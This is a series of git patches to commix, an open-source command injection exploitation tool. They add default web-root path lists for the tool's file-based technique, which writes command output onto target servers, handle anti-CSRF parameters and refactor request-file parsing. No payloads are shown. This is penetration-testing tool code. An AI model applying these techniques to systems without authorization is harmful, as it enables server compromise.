Thu, 30 Nov 2023 08:19:26 +0200 Subject: [PATCH 365/560] Minor update --- src/core/injections/controller/checks.py | 2 +- .../semiblind/techniques/file_based/fb_handler.py | 14 +++++++------- .../semiblind/techniques/file_based/fb_injector.py | 4 +++- src/core/main.py | 1 + src/core/requests/requests.py | 8 ++++---- src/utils/settings.py | 10 ++++++---- 6 files changed, 22 insertions(+), 17 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index ac8c951fca..32e878fcfc 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -477,7 +477,7 @@ def page_encoding(response, action): pass if _: err_msg += "You are advised to rerun with" - err_msg += ('out', '')[menu.options.codec == None] + " the option '--codec'." + err_msg += ('out', '')[menu.options.codec == None] + " option '--codec'." print(settings.print_critical_msg(str(err_msg))) raise SystemExit() diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 7054cdd02f..3156f34475 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -50,7 +50,7 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): if no_result == True: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Using '" + tmp_path + "' as temporary directory." + debug_msg = "Using '" + tmp_path + "' as temporary writable directory." print(settings.print_debug_msg(debug_msg)) info_msg = "Trying to create a file in temporary " info_msg += "directory ('" + tmp_path + "') for command execution output.\n" @@ -80,9 +80,9 @@ def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, h """ def custom_web_root(url, timesec, filename, http_request_method, url_time_response): if settings.TARGET_OS == settings.OS.WINDOWS : - example_root_dir = "\\inetpub\\wwwroot" + example_root_dir = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] else: - example_root_dir = "/var/www" + example_root_dir = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) message = "Please provide web server document root directory (e.g. '" message += example_root_dir + "') > " settings.WEB_ROOT = common.read_input(message, default=example_root_dir, check_batch=True) @@ -216,9 +216,9 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Using '" + settings.WEB_ROOT + "' as web server document root." + debug_msg = "Using '" + settings.WEB_ROOT + "' as writable directory." print(settings.print_debug_msg(debug_msg)) - info_msg = "Trying to create a file in '" + settings.WEB_ROOT + info_msg = "Trying to create a file in directory '" + settings.WEB_ROOT info_msg += "' for command execution output. " print(settings.print_info_msg(info_msg)) @@ -379,7 +379,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) sys.stdout.write("\r") message = "It seems that you don't have permissions to " - message += "read and/or write files in '" + settings.WEB_ROOT + "'." + message += "read and/or write files in directory '" + settings.WEB_ROOT + "'." if not menu.options.web_root: message += " You are advised to rerun with option '--web-root'." while True: @@ -431,7 +431,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r except _urllib.error.URLError as e: warn_msg = "It seems that you don't have permissions to " - warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." + warn_msg += "read and/or write files in directory '" + settings.WEB_ROOT + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": "," (") + ")." if settings.VERBOSITY_LEVEL >= 2: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index d6cd7c192c..3cebcda98e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -269,10 +269,12 @@ def custom_web_root(url, OUTPUT_TEXTFILE): if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS: if menu.options.web_root: scheme = _urllib.parse.urlparse(url).scheme + hostname = _urllib.parse.urlparse(url).hostname netloc = _urllib.parse.urlparse(url).netloc output = scheme + "://" + netloc + "/" + OUTPUT_TEXTFILE for item in settings.LINUX_DEFAULT_DOC_ROOTS: + item = item.replace(settings.DOC_ROOT_TARGET_MARK, hostname) if item == menu.options.web_root: settings.DEFINED_WEBROOT = output break @@ -310,7 +312,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): output = settings.DEFINED_WEBROOT if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking URL '" + output + "' for command execution output." + debug_msg = "Checking if the file is accessible from '" + output + "'." print(settings.print_debug_msg(debug_msg)) return output diff --git a/src/core/main.py b/src/core/main.py index 318ba0aa86..0ece63cce6 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -206,6 +206,7 @@ def url_response(url): print(settings.print_info_msg(info_msg)) # Check if http / https url = checks.check_http_s(url) + settings.TARGET_URL = _urllib.parse.urlparse(url).hostname # Check if defined Tor (--tor option). if menu.options.tor and settings.TOR_CHECK_AGAIN: tor.do_check() diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 419d38f7bf..80dda10473 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -793,13 +793,13 @@ def server_identification(server_banner): # Set up default root paths if "apache" in settings.SERVER_BANNER.lower(): if settings.TARGET_OS == settings.OS.WINDOWS: - settings.WEB_ROOT = "\\htdocs" + settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[1] else: - settings.WEB_ROOT = "/var/www" + settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) elif "nginx" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = "/usr/share/nginx" + settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[6] elif "microsoft-iis" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = "\\inetpub\\wwwroot" + settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] break else: if settings.VERBOSITY_LEVEL != 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 63a64eba15..d99920b0bf 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "24" +REVISION = "25" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1188,10 +1188,12 @@ class AUTH_TYPE(object): # Period after last-update to start nagging (about the old revision). NAGGING_DAYS = 31 -LINUX_DEFAULT_DOC_ROOTS = ["/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout -DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False - +TARGET_URL = "" +DOC_ROOT_TARGET_MARK = "%TARGET%" +WINDOWS_DEFAULT_DOC_ROOTS = ["C:\\\\Inetpub\\wwwroot", "C:\\\\xampp\\htdocs", "C:\\\\wamp\\www"] +LINUX_DEFAULT_DOC_ROOTS = ["/var/www/" + DOC_ROOT_TARGET_MARK + "/public_html", "/var/www", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout +DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False # HTTP Headers COOKIE = "Cookie" From fb1c7988ad69d2a6acd7d421dd11b6964ac3ed15 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 30 Nov 2023 11:28:54 +0200 Subject: [PATCH 366/560] Fixes https://github.com/commixproject/commix/issues/874 --- src/core/requests/requests.py | 2 +- src/utils/settings.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 80dda10473..67c5515385 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -797,7 +797,7 @@ def server_identification(server_banner): else: settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) elif "nginx" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[6] + settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[6] elif "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] break diff --git a/src/utils/settings.py b/src/utils/settings.py index d99920b0bf..9c3d2f349a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "25" +REVISION = "26" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1191,7 +1191,7 @@ class AUTH_TYPE(object): TARGET_URL = "" DOC_ROOT_TARGET_MARK = "%TARGET%" WINDOWS_DEFAULT_DOC_ROOTS = ["C:\\\\Inetpub\\wwwroot", "C:\\\\xampp\\htdocs", "C:\\\\wamp\\www"] -LINUX_DEFAULT_DOC_ROOTS = ["/var/www/" + DOC_ROOT_TARGET_MARK + "/public_html", "/var/www", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout +LINUX_DEFAULT_DOC_ROOTS = ["/var/www/" + DOC_ROOT_TARGET_MARK + "/public_html", "/var/www", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/usr/share/nginx", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False From f14a1fab873f3a0bf862318b016258c824c5e465 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 1 Dec 2023 08:12:21 +0200 Subject: [PATCH 367/560] Minor improvement regarding successfully completing the scanning process (i.e. in case that parameters with anti-CSRF tokens are omitted) --- doc/CHANGELOG.md | 1 + doc/THANKS.md | 3 ++- src/core/requests/parameters.py | 3 +++ src/utils/settings.py | 2 +- 4 files changed, 7 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index db6c4a3e2b..2ec274f9e5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Revised: Minor improvement regarding successfully completing the scanning process (i.e. in case that parameters with anti-CSRF tokens are omitted). (via @xerxoria) * Revised: Minor improvement regarding Windows-based payloads for semiblind (i.e. "file-based") technique (i.e. command execution output). * Revised: Minor improvement in semiblind (i.e. "file-based") technique, regarding defining the URL where the execution output of an injected payload is shown. * Added: New switch `--ignore-proxy` to ignore the system default HTTP proxy. diff --git a/doc/THANKS.md b/doc/THANKS.md index 9fc8ad2be6..a3ea5cba2f 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -7,6 +7,7 @@ * Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. ## List of individual contributors: +* Thanks [xerxoria](https://github.com/xerxoria) for reporting a bug and for suggesting a relevant fix. * Thanks [Kazgangap](https://github.com/Kazgangap) for contributing a Turkish translation of README.md. * Thanks [0xFred](https://github.com/0xFred) for contributing code. * Thanks [verfosec](https://github.com/verfosec) for contributing a Farsi(Persian) translation of README.md. @@ -81,7 +82,7 @@ * Thanks [Slavery](https://github.com/Slavery) for reporting a bug. * Thanks [sno0ose](https://github.com/sno0ose) for reporting a bug. * Thanks [somarrr](https://github.com/somarrr) for reporting a bug. -* Thanks [Suselz](https://github.com/Suselz) for reporting a few bugs and for suggesting suggesting enhancements. +* Thanks [Suselz](https://github.com/Suselz) for reporting a few bugs and for suggesting enhancements. * Thanks [td4b](https://github.com/td4b) for contributing code. * Thanks [techn0tr0ll](https://github.com/techn0tr0ll) for reporting a bug. * Thanks [Tensha](https://github.com/Tensha) for reporting a bug. diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index f38d91dd15..c6a9ae4193 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -136,6 +136,7 @@ def multi_params_get_value(parameter): value = checks.value_boundaries(all_params[param], value, http_request_method) # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: @@ -322,6 +323,7 @@ def multi_params_get_value(param, all_params): value = checks.value_boundaries(all_params[param], value, http_request_method) # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: @@ -523,6 +525,7 @@ def multi_params_get_value(parameter): value = multi_params_get_value(all_params[param]) # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue # Ignoring the Google analytics cookie parameter. if checks.ignore_google_analytics_cookie(all_params[param]): diff --git a/src/utils/settings.py b/src/utils/settings.py index 9c3d2f349a..80b102796c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "26" +REVISION = "27" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ddcf515b2a27c6159a0d753f5e3ab944492c737d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 4 Dec 2023 08:09:46 +0200 Subject: [PATCH 368/560] Minor update regarding commit https://github.com/commixproject/commix/commit/f14a1fab873f3a0bf862318b016258c824c5e465 --- src/core/injections/controller/checks.py | 11 ++++++----- src/utils/settings.py | 2 +- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 32e878fcfc..12b4962730 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -408,11 +408,12 @@ def PCRE_e_modifier(parameter, http_request_method): """ def ignore_anticsrf_parameter(parameter): if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): - if (len(parameter.split("="))) == 2: - info_msg = "Ignoring the parameter '" + parameter.split("=")[0] - info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." - print(settings.print_info_msg(info_msg)) - return True + if not any(parameter for token in settings.TEST_PARAMETER): + if (len(parameter.split("="))) == 2: + info_msg = "Ignoring the parameter '" + parameter.split("=")[0] + info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." + print(settings.print_info_msg(info_msg)) + return True """ Ignoring the Google analytics cookie parameter. diff --git a/src/utils/settings.py b/src/utils/settings.py index 80b102796c..bc4dc1dd27 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "27" +REVISION = "28" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 879420c3395649b69781f1079354c45c6b8646c1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 7 Dec 2023 08:54:52 +0200 Subject: [PATCH 369/560] Minor update regarding checking injection technique(s) status. --- src/core/injections/controller/checks.py | 9 +++ src/core/injections/controller/controller.py | 67 ++++++++++---------- src/utils/session_handler.py | 1 + src/utils/settings.py | 2 +- 4 files changed, 43 insertions(+), 36 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 12b4962730..b0660c1096 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -56,6 +56,15 @@ except: settings.READLINE_ERROR = True +""" +Check injection technique(s) status. +""" +def injection_techniques_status(): + if settings.CLASSIC_STATE != True and settings.EVAL_BASED_STATE != True and settings.TIME_BASED_STATE != True and settings.FILE_BASED_STATE != True: + return False + else: + return True + """ Check for custom injection marker (*) """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 22357daeb0..78eda416bf 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -369,7 +369,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) # All injection techniques seems to be failed! - if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : + if checks.injection_techniques_status() == False: warn_msg = "The tested" if header_name != " cookie" and the_type != " HTTP header": warn_msg += " " + str(http_request_method) + "" @@ -758,45 +758,42 @@ def do_check(url, http_request_method, filename): pass else: perform_checks(url, http_request_method, filename) - + # All injection techniques seems to be failed! - if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : - if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: - err_msg = "All tested parameters " - if menu.options.level > settings.COOKIE_INJECTION_LEVEL: - err_msg += "and HTTP headers " - err_msg += "appear to be not injectable." - if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : - err_msg += " Try to increase value for '--level' option" - if menu.options.skip_empty: - err_msg += " and/or remove option '--skip-empty'" - err_msg += " if you wish to perform more tests." - if settings.USER_SUPPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: - err_msg += " Rerun without providing the option " - if not settings.SKIP_TECHNIQUES : - err_msg += "'--technique'." - else: - err_msg += "'--skip-technique'." - err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" - if not menu.options.alter_shell : - err_msg += " use option '--alter-shell'" + if not settings.INJECTION_CHECKER: + err_msg = "All tested parameters " + if menu.options.level > settings.COOKIE_INJECTION_LEVEL: + err_msg += "and HTTP headers " + err_msg += "appear to be not injectable." + if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : + err_msg += " Try to increase value for '--level' option" + if menu.options.skip_empty: + err_msg += " and/or remove option '--skip-empty'" + err_msg += " if you wish to perform more tests." + if settings.USER_SUPPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: + err_msg += " Rerun without providing the option " + if not settings.SKIP_TECHNIQUES : + err_msg += "'--technique'." else: - err_msg += " remove option '--alter-shell'" + err_msg += "'--skip-technique'." + err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" + if not menu.options.alter_shell : + err_msg += " use option '--alter-shell'" + else: + err_msg += " remove option '--alter-shell'" + if not menu.options.tamper: + err_msg += " and/or use option '--tamper'" + if not menu.options.random_agent: if not menu.options.tamper: - err_msg += " and/or use option '--tamper'" - if not menu.options.random_agent: - if not menu.options.tamper: - err_msg += " and/or" - err_msg += " switch '--random-agent'" - err_msg += "." - if settings.MULTI_TARGETS: - err_msg += " Skipping to the next target." - print(settings.print_error_msg(err_msg)) + err_msg += " and/or" + err_msg += " switch '--random-agent'" + err_msg += "." + if settings.MULTI_TARGETS: + err_msg += " Skipping to the next target." + print(settings.print_error_msg(err_msg)) else: logs.print_logs_notification(filename, url) - # if not settings.MULTI_TARGETS: - # print(settings.SINGLE_WHITESPACE) - if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: + if not settings.MULTI_TARGETS: common.show_http_error_codes() raise SystemExit() diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index f050c4c2fc..7ab4a34765 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -290,6 +290,7 @@ def notification(url, technique, injection_type): message += " injection point? [Y/n] > " settings.LOAD_SESSION = common.read_input(message, default="Y", check_batch=True) if settings.LOAD_SESSION in settings.CHOICE_YES: + settings.INJECTION_CHECKER = True return True elif settings.LOAD_SESSION in settings.CHOICE_NO: settings.LOAD_SESSION = False diff --git a/src/utils/settings.py b/src/utils/settings.py index bc4dc1dd27..657073e058 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "28" +REVISION = "29" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 579f463be0f685f6853e47036c3ca01451da859a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 8 Dec 2023 08:43:05 +0200 Subject: [PATCH 370/560] Refactoring regarding parsing data --- src/core/injections/controller/parser.py | 253 +++++++++++------------ src/utils/settings.py | 2 +- 2 files changed, 125 insertions(+), 130 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 4d09910fe7..11e32b6490 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -53,12 +53,10 @@ def multi_requests(): Error message for invalid data. """ def invalid_data(request): - print(settings.SINGLE_WHITESPACE) err_msg = "Specified file " err_msg += "'" + os.path.split(request_file)[1] + "'" err_msg += " does not contain a valid HTTP request." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + print(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.requestfile: @@ -69,142 +67,139 @@ def invalid_data(request): request_file = menu.options.logfile if not os.path.exists(request_file): - print(settings.SINGLE_WHITESPACE) err_msg = "It seems that the '" + request_file + "' file, does not exist." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + print(settings.print_critical_msg(err_msg)) raise SystemExit() - else: - try: - if menu.options.requestfile: - with open(request_file, 'r') as file: - settings.RAW_HTTP_HEADERS = [line.strip() for line in file] - settings.RAW_HTTP_HEADERS = [header for header in settings.RAW_HTTP_HEADERS if header] - settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[1:] - settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[:-1] - settings.RAW_HTTP_HEADERS = '\\n'.join(settings.RAW_HTTP_HEADERS) - - if os.stat(request_file).st_size != 0: - with open(request_file, 'r') as file: - request = file.read() - else: - invalid_data(request_file) + try: + if menu.options.requestfile: + with open(request_file, 'r') as file: + settings.RAW_HTTP_HEADERS = [line.strip() for line in file] + settings.RAW_HTTP_HEADERS = [header for header in settings.RAW_HTTP_HEADERS if header] + settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[1:] + settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[:-1] + settings.RAW_HTTP_HEADERS = '\\n'.join(settings.RAW_HTTP_HEADERS) + + if os.stat(request_file).st_size != 0: + with open(request_file, 'r') as file: + request = file.read() + else: + invalid_data(request_file) - except IOError as err_msg: - error_msg = "The '" + request_file + "' " - error_msg += str(err_msg.args[1]).lower() + "." - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + except IOError as err_msg: + error_msg = "The '" + request_file + "' " + error_msg += str(err_msg.args[1]).lower() + "." + print(settings.SINGLE_WHITESPACE) + print(settings.print_critical_msg(error_msg)) + raise SystemExit() - single_request = True - pattern = r'HTTP/([\d.]+)' - if len(re.findall(pattern, request)) > 1: - single_request = multi_requests() + single_request = True + pattern = r'HTTP/([\d.]+)' + if len(re.findall(pattern, request)) > 1: + single_request = multi_requests() - if len(settings.HTTP_METHOD) == 0: - http_method = request.strip().splitlines()[0].split()[0] - settings.HTTP_METHOD = http_method - else: - http_method = settings.HTTP_METHOD - - if "\\n" in request: - request = request.replace("\\n","\n") - request_url = re.findall(r"" + " (.*) HTTP/", request) - - if request_url: - try: - # Check empty line for POST data. - if len(request.splitlines()[-2]) == 0: - result = [item for item in request.splitlines() if item] - multiple_xml = [] - for item in result: - if checks.is_XML_check(item): - multiple_xml.append(item) - if len(multiple_xml) != 0: - menu.options.data = '\n'.join([str(item) for item in multiple_xml]) - else: - menu.options.data = result[len(result)-1] - else: - # Check if url ends with "=". - if request_url[0].endswith("="): - request_url = request_url[0].replace("=","=" + settings.INJECT_TAG, 1) - except IndexError: - invalid_data(request_file) + if len(settings.HTTP_METHOD) == 0: + http_method = request.strip().splitlines()[0].split()[0] + settings.HTTP_METHOD = http_method + else: + http_method = settings.HTTP_METHOD - # Check if invalid data - else: - invalid_data(request_file) + if "\\n" in request: + request = request.replace("\\n","\n") + request_url = re.findall(r"" + " (.*) HTTP/", request) - request_url = "".join([str(i) for i in request_url]) - # Check for other headers - extra_headers = "" - scheme = "http://" - for line in request.splitlines(): - if re.findall(r"Host: " + "(.*)", line): - menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)]) - # User-Agent Header - if re.findall(r"User-Agent: " + "(.*)", line): - menu.options.agent = "".join([str(i) for i in re.findall(r"User-Agent: " + "(.*)", line)]) - # Cookie Header - if re.findall(r"Cookie: " + "(.*)", line): - menu.options.cookie = "".join([str(i) for i in re.findall(r"Cookie: " + "(.*)", line)]) - # Referer Header - if re.findall(r"Referer: " + "(.*)", line): - menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) - if menu.options.referer and "https://" in menu.options.referer: - scheme = "https://" - if re.findall(r"Authorization: " + "(.*)", line): - auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() - menu.options.auth_type = auth_provided[0].lower() - if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: - menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() - elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: - if not menu.options.auth_cred: - print(settings.SINGLE_WHITESPACE) - err_msg = "Use the '--auth-cred' option to provide a valid pair of " - err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Add extra headers - else: - match = re.findall(r"(.*): (.*)", line) - match = "".join([str(i) for i in match]).replace("', '",":") - match = match.replace("('", "") - match = match.replace("')","\\n") - # Ignore some header. - if "Content-Length" or "Accept-Encoding" in match: - extra_headers = extra_headers + if request_url: + try: + # Check empty line for POST data. + if len(request.splitlines()[-2]) == 0: + result = [item for item in request.splitlines() if item] + multiple_xml = [] + for item in result: + if checks.is_XML_check(item): + multiple_xml.append(item) + if len(multiple_xml) != 0: + menu.options.data = '\n'.join([str(item) for item in multiple_xml]) else: - extra_headers = extra_headers + match - - # Extra headers - menu.options.headers = extra_headers - # Target URL - if not menu.options.host: + menu.options.data = result[len(result)-1] + else: + # Check if url ends with "=". + if request_url[0].endswith("="): + request_url = request_url[0].replace("=","=" + settings.INJECT_TAG, 1) + except IndexError: invalid_data(request_file) + + # Check if invalid data + else: + invalid_data(request_file) + + request_url = "".join([str(i) for i in request_url]) + # Check for other headers + extra_headers = "" + scheme = "http://" + for line in request.splitlines(): + if re.findall(r"Host: " + "(.*)", line): + menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)]) + # User-Agent Header + if re.findall(r"User-Agent: " + "(.*)", line): + menu.options.agent = "".join([str(i) for i in re.findall(r"User-Agent: " + "(.*)", line)]) + # Cookie Header + if re.findall(r"Cookie: " + "(.*)", line): + menu.options.cookie = "".join([str(i) for i in re.findall(r"Cookie: " + "(.*)", line)]) + # Referer Header + if re.findall(r"Referer: " + "(.*)", line): + menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) + if menu.options.referer and "https://" in menu.options.referer: + scheme = "https://" + if re.findall(r"Authorization: " + "(.*)", line): + auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() + menu.options.auth_type = auth_provided[0].lower() + if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: + menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: + if not menu.options.auth_cred: + print(settings.SINGLE_WHITESPACE) + err_msg = "Use the '--auth-cred' option to provide a valid pair of " + err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # Add extra headers else: - if len(_urllib.parse.urlparse(request_url).scheme) == 0: - request_url = scheme + request_url - if not menu.options.host in request_url: - request_url = request_url.replace(scheme, scheme + menu.options.host) - request_url = checks.check_http_s(request_url) - info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - menu.options.url = request_url - if single_request: - print(settings.SINGLE_WHITESPACE) - if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: - sub_content = http_method + settings.SINGLE_WHITESPACE + menu.options.url - print(settings.print_sub_content(sub_content)) - if menu.options.cookie: - sub_content = "Cookie: " + menu.options.cookie - print(settings.print_sub_content(sub_content)) - if menu.options.data: - sub_content = "POST data: " + menu.options.data - print(settings.print_sub_content(sub_content)) + match = 